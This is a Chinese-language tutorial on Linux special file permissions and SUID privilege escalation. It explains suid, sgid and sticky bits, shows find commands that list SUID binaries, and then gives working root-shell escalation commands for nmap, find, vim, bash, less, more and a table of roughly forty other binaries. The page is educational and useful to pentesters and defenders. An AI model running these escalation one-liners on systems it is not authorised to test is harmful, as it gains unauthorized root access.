Linux下SUID提权学习 - 从原理到使用

news2024/7/6 17:42:47

目录

  • 1. 文件权限介绍
    • 1.1 suid权限
    • 1.2 sgid权限
    • 1.3 sticky权限
  • 2. SUID权限
  • 3. 设置SUID权限
  • 4. SUID提权原理
  • 5. SUID提权步骤
  • 6. 常用指令的提权方法
    • 6.1 nmap
    • 6.2 find
    • 6.3 vim
    • 6.4 bash
    • 6.5 less
    • 6.6 more
    • 6.7 其他命令的提权方法

1. 文件权限介绍

linux的文件有普通权限和特殊权限(三种)。

普通权限一般为:rwx,分别为读写执行,对应的数字表示为421。

三种特殊权限为:suid权限,sgid权限,sticky权限。其中suid权限作用于文件属主,sgid权限作用于属组上,sticky权限作用于other其他上。


1.1 suid权限

作用:让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置在属主位置上。

suid权限使用s表示,增加权限u+s,移除权限u-s;

suid权限也可以使用数字形式表示,0表示去除suid权限,4表示添加suid权限,而且是在原权限的数字表达形式开头加0或4,如:0755移除suid权限,4755添加suid权限。


1.2 sgid权限

作用:sgid权限一般应用在目录上,当一个目录拥有sgid权限时,任何用户在该目录下创建的文件的属组都会继承该目录的属组。

sgid权限也使用s表示,增加权限g+s,移除权限g-s;

sgid权限也可以使用数字形式表示,0表示去除sgid权限,2表示添加sgid权限,而且是在原权限的数字表达形式开头加0或2,如:0755移除sgid权限,2755添加sgid权限。


1.3 sticky权限

作用:sticky权限一般针对目录来设置,作用是只允该目录下的文件的创建者删除自己的创建的文件,不允许其他人删除文件。(root用户除外,因为root用户是超级管理员),而且sticky权限只能设置在other位置上。

sticky权限使用t表示,增加权限o+t,移除权限o-t;

sticky权限也可以使用数字形式表示,0表示去除权限,1表示添加权限,而且是在原权限的数字表达形式开头加0或1,如下:如:0755移除sticky权限,1755添加sticky权限。


2. SUID权限


SUID(Set UID)权限:

  • 只针对二进制可执行(命令)文件,对于非可执行文件没有任何意义。
  • 执行者对于该文件需要具有x的可执行权限。
  • 在执行过程中,调用者会暂时获得该文件的所有者权限。
  • 本权限仅在执行该程序的过程中(run-time)有效。


查看文件是否具有suid权限:ls -al filename
例如:查看sudo文件的suid权限:ls -al /usr/bin/sudo
在这里插入图片描述


3. 设置SUID权限


  1. 方法一:sgid权限可以使用s表示。
chmod u+s filename  #增加suid权限
chmod u-s filename  #移除suid权限

命令解释:
chmod WhoWhatWhich filename
 其中:
 		Who(代表身份): u,g,o,a (user, group, other, all)
 		What(代表动作): +, -, = (add, remove, set exact)
 		Which(代表访问级别): r,w,x,s,t (read, write, execute,SUID/SGID,Sticky )

运行结果:

在这里插入图片描述



  1. 方法二:sgid权限也可以使用数字形式表示。0表示移除suid权限,4表示增加suid权限,而且是在原权限的数字表达形式开头加0或4。
chmod 0755 filename  #移除suid权限
chmod 4755 filename  #增加suid权限

命令解释:
chmod OneTwoThreeFour filename
其中:
	One(特殊权限位):当不设置时默认为0,SUID = 4,SGID = 2,Sticky = 1
	Two(所有者权限):读权限加4,写权限加2,执行权限加1
	Three(所有组权限):读权限加4,写权限加2,执行权限加1
	Four(其他用户权限):读权限加4,写权限加2,执行权限加1

运行结果:

在这里插入图片描述



4. SUID提权原理

SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。



5. SUID提权步骤


  1. 查找具备suid权限的文件。
  2. 查找对应文件的利用方法。不是所有文件都可以利用。



查找有suid权限文件的命令:以下三条命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -perm -u=s -type f 2>/dev/null

命令解释:
		/ 表示从文件系统的顶部(根)开始,查找每个目录
		-perm 表示搜索后面的权限
			-u=s 表示查找 root 用户拥有的文件
		-type 表示我们正在寻找的文件类型
		f 表示普通文件,而不是目录或特殊文件
		2 表示到进程的第二个文件描述符,即 stderr(标准错误)
		> 表示重定向
		/dev/null 是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

运行结果:
在这里插入图片描述

find / -user root -perm -4000 -print 2>/dev/null

命令解释:
		-user root 表示文件的所有者是root
		-perm 表示搜索后面的权限
			-4000 表示查找有suid权限位的文件

运行结果:

在这里插入图片描述

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

参数解释:
		-exec 表示查找到文件后要执行的命令
		ls -ldb {} \;  其中 -l 表示以长格式显示当前目录中的文件和目录
							-d 表示目录
							-b 表示块设备
							{} 表示find查找出来的文件
							\ 表示转义,和{}之间需要有空格
							; 表示要执行的命令的结束符

运行结果:
在这里插入图片描述



6. 常用指令的提权方法


已知具有suid权限的常用的二进制文件大体有:nmap,vim,find,bash,more,less,nano,cp,awk等。


6.1 nmap

适用版本:nmap2.02到5.21。

在早期的nmap版本中,带有交互模式,所以允许用户执行shell命令。

进入nmap交互模式:nmap --interactive

在nmap的交互模式中,通过如下命令提权:

nmap> !sh
sh-3.2# whoami
root

在msf中也又利用nmap进行提权的模块:exploit/unix/local/setuid_nmap


6.2 find

find用来在系统中查找文件。同时具有执行命令的能力。因此,如果配置了suid权限,则可以通过find执行的命令都可以用root身份去执行。

通过如下命令提权:

touch anyfile #新建一个文件anyfile,必须要有这个文件
find anyfile -exec whoami \;  #通过文件anyfile执行命令whoami

因此可以利用nc命令来反弹shell。


6.3 vim

vim的主要作用是做编辑器。如果配置了suid权限,将会继承root权限,因此可以读取系统上所有文件。

通过如下命令提权:

vim.tiny  /etc/passwd

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

6.4 bash

以下命令将以root身份打开一个bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

6.5 less

less命令也可以进入shell:

less /etc/passwd
#在less中输入:
!/bin/sh

要注意的是使用less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。


6.6 more

more命令进入shell和less相同:

more /etc/passwd
#在more中输入:
!/bin/sh

要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。


6.7 其他命令的提权方法

命令利用方法
zshzsh
xargsxargs -a /dev/null sh -p
watchwatch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’
timeouttimeout 7d /bin/sh -p
timetime /bin/sh -p
tclsh1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr
tasksettaskset 1 /bin/sh -p
stdbufstdbuf -i0 /bin/sh -p
stracestrace -o /dev/null /bin/sh -p
sshssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
setarchsetarch $(arch) /bin/sh -p
rsyncrsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
rpmrpm --eval ‘%{lua:os.execute(“/bin/sh -p”)}’
pythonpython -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
php1、CMD=“/bin/sh” 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);”
nicenice /bin/sh -p
nano1、nano //运行nano程序 2、Ctrl + R //按下ctrl+r 3、Ctrl + X //按下ctrl+x 4、reset; sh -p 1>&0 2>&0 //输入命令
more1、more /etc/profile 2、!/bin/sh -p
logsavelogsave /dev/null /bin/sh -i -p
lessless /etc/profile //读取文件,在底行输入!/bin/sh -p
kshksh -p
ip1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
ioniceionice /bin/sh -p
gitgit help status
gimpgimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
gdbgdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit
ftpftp //在底行输入“!/bin/sh -p”
flockflock -u / /bin/sh -p
findfind . -exec /bin/sh -p ; -quit
expectexpect -c ‘spawn /bin/sh -p;interact’
envenv /bin/sh -p
eded //在底行输入“!/bin/sh -p”
dockerdocker run -v /:/mnt --rm -it alpine chroot /mnt sh
dmesgdmesg -H//在底行输入“!/bin/sh -p”
cshcsh -b
bashbash -p
awkawk ‘BEGIN {system(“/bin/bash -p”)}’
perlperl exec “/bin/bash”;
cp使用cp命令覆盖原来的/etc/passwd文件。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1883946.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis基础教程(六):redis 哈希(Hash)

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;欢迎各位来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里不仅可以有所收获&#xff0c;同时也能感受到一份轻松欢乐的氛围&#xff0c;祝你生活愉快&#xff01; &#x1f49d;&#x1f49…

【火猫】cs2 donk登顶2024年上半年ADR榜

1、HLTV发布数据统计&#xff0c;donk以55张地图中96.8的ADR成功登顶上半年ADR榜单第一。紧随其后的是法国巨星ZywOo&#xff0c;以68图89.2的ADR排名第二。G2当家狙击手m0NESY以73图85的ADR排名第三。 2、白俄罗斯爆料人harumi透露&#xff1a;“Falcons战队向BOROS支付了6个月…

每日复盘-20240701

今日关注&#xff1a; 20240701 六日涨幅最大: ------1--------301182--------- 凯旺科技 五日涨幅最大: ------1--------300977--------- 深圳瑞捷 四日涨幅最大: ------1--------300977--------- 深圳瑞捷 三日涨幅最大: ------1--------300461--------- 田中精机 二日涨幅最…

科普:电脑硬件挑选

目录 一cpu 二主板 三内存 四硬盘 五显卡&#xff0c;散热&#xff0c;电源&#xff0c;机箱 六个人配置 一cpu 品牌&#xff1a;intel AMD 型号&#xff1a;I3,I5,I7 R7等 代数&#xff1a;换新不换旧 cpu后缀&#xff1a;k&#xff08;可超频&#xff09;f&#xf…

PHP电商系统开发指南最佳实践

电子商务系统开发的最佳实践包括&#xff1a;数据库设计&#xff1a;选择适合关系型数据库&#xff0c;优化数据结构&#xff0c;考虑表分区&#xff1b;安全&#xff1a;加密数据&#xff0c;防止 sql 注入&#xff0c;处理会话管理&#xff1b;用户界面&#xff1a;遵循 ux 原…

WhaleStudio 2.6正式发布,WhaleTunnel同步性能与连接器数量再创新高!

在这个数据驱动的大模型时代&#xff0c;数据集成的作用和意义愈发重要。数据不仅仅是信息的载体&#xff0c;更是推动企业决策和创新的关键因素。作为全球最流行的批流一体数据集成工具&#xff0c;WhaleTunnel随着WhaleStudio 2.6版本正式发布&#xff0c;带来了多项功能增强…

App测试技术(纯理论)

之前我们也学习过一些普通用例的设计, 如功能, 性能, 安全性, 兼容性, 易用性, 界面的测试用例设计, 之前我们讲的基本都是对于Web应用而言的, 这里我们来讲一下移动端的App测试用例设计. 功能方面 安装&卸载测试 这是只属于App的一类测试, 再平常我们使用移动设备(手机…

扩展学习|风险评估和风险管理:回顾其基础上的最新进展

文献来源&#xff1a;[1]Aven, T. (2016). Risk assessment and risk management: Review of recent advances on their foundation. European journal of operational research, 253(1), 1-13. 文章简介&#xff1a;大约30-40年前&#xff0c;风险评估和管理被确立为一个科学领…

Linux环境安装配置nginx服务流程

Linux环境的Centos、麒麟、统信操作系统安装配置nginx服务流程操作&#xff1a; 1、官网下载 下载地址 或者通过命令下载 wget http://nginx.org/download/nginx-1.20.2.tar.gz 2、上传到指定的服务器并解压 tar -zxvf nginx-1.20.1.tar.gzcd nginx-1.20.1 3、编译并安装到…

CCT技术

概念介绍 多个功能核心的集成可以通过片上系统(SOC)或封装中系统(SIP)设备的开发来实现。SOC器件将核心集成到单个集成电路中。SIP集成是将多个集成电路组合到单个封装中。核心数量 的增加可能导致必要的测试人员资源和/或测试时间的增加。这直接影响了与测试这些设备相关的…

【TB作品】打地鼠游戏,ATMEGA16单片机,Proteus仿真 打地鼠游戏

11个按键LCD1602显示器9个灯蜂鸣器打地鼠小游戏就是九个灯泡&#xff0c;对应九个按键&#xff0c;灯泡有红黄蓝&#xff0c;每间隔一会儿就会亮一个灯&#xff0c;代表地鼠冒出来&#xff0c;按一下按键让灯泡灭掉代表打地鼠&#xff0c;红的三分&#xff0c;黄的两分&#xf…

Java案例抢红包

目录 一&#xff1a;题目要求&#xff1a; 二&#xff1a;思路分析&#xff1a;&#xff08;遇见问题先想出完整的思路逻辑再去动手事半功倍&#xff09; 三&#xff1a;具体代码&#xff1a; 一&#xff1a;题目要求&#xff1a; 二&#xff1a;思路分析&#xff1a;&#x…

[无广告!纯干货]免费用CodeFlying自动化生成一个专属的AI机器人

前言&#xff1a; 真心话&#xff0c;花3分钟看文章&#xff0c;再花5分钟体验&#xff0c;你会回来给我点赞的。 随着AIGC&#xff08;人工智能生成内容&#xff09;行业的迅猛发展&#xff0c;人工智能正在以前所未有的速度和方式改变我们的生活。 它不仅在娱乐、教育、医疗…

Nomad Web 1.0.12还能这样

大家好&#xff0c;才是真的好。 前几天讲代码和开发&#xff0c;忽略了大家的真实感受&#xff0c;那就是不爱开。我也记起来我们很久没有讲Notes/Domino产品的更新&#xff0c;因为除了补丁程序外&#xff0c;确实没多少更新。 不过就在前两天&#xff0c;有一项产品得到了…

惠海100V 15A HC070N10L TO-252封装 N沟道MOS管 打火机/BMS电源板应用

MOS管的工作原理是基于在P型半导体与N型半导体之间形成的PN结&#xff0c;通过改变栅极电压来调整沟道内载流子的数量&#xff0c;从而改变沟道电阻和源极与漏极之间的电流大小。由于MOS管具有输入电阻高、噪声小、功耗低等优点&#xff0c;它们在大规模和超大规模集成电路中得…

【技术追踪】SegGuidedDiff:基于分割引导扩散模型实现解剖学可控的医学图像生成(MICCAI-2024)

它来了它来了&#xff0c;它带着 mask 做生成了~ SegGuidedDiff&#xff1a;提出一种用于解剖学可控医学图像生成的扩散模型&#xff0c;在每个采样步骤都遵循多类解剖分割掩码并结合了随机掩码消融训练算法&#xff0c;可助力乳房 MRI 和 腹部/颈部到骨盆 CT 等任务涨点。 论文…

基于pycharm对每个工程配置python环境

目录 1 生成环境2 配置pycharm 1 生成环境 设定一个存放虚拟环境的目录&#xff0c;比如可以放在如下目录下&#xff1a; /Users/Name/PycharmProjects/env 然后生成虚拟环境&#xff0c;执行如下操作&#xff1a; python3 -m venv /Users/Name/PycharmProjects/env/agent_pr…

AI基本概念(人工智能、机器学习、深度学习)

人工智能 、 机器学习、 深度学习的概念和关系 人工智能 &#xff08;Artificial Intelligence&#xff09;AI- 机器展现出人类智慧机器学习 &#xff08;Machine Learning) ML, 达到人工智能的方法深度学习 &#xff08;Deep Learning&#xff09;DL,执行机器学习的技术 从范围…

视频转音频:怎样提取视频中的音频?6个提取音频的小技巧(建议收藏)

怎样提取视频中的音频&#xff1f;当我们想从视频中提取出声音时&#xff0c;通常会遇到很多问题。无论是想单独提取出视频里的音频&#xff0c;还是把它转成方便储存或者分享的音频格式&#xff0c;这都会涉及到视频转音频的一个需求。因此&#xff0c;在这篇指南里&#xff0…

网络变压器和RJ45接线的方法

网络变压器在以太网硬件电路设计中扮演着重要的角色&#xff0c;它主要用于信号电平耦合、隔离外部干扰、实现阻抗匹配以及增加传输距离。而RJ45接口则是以太网连接的标准化接口&#xff0c;它提供了与网络电缆的连接点。 网络变压器与RJ45的接线方法通常遵循以下步骤&#xf…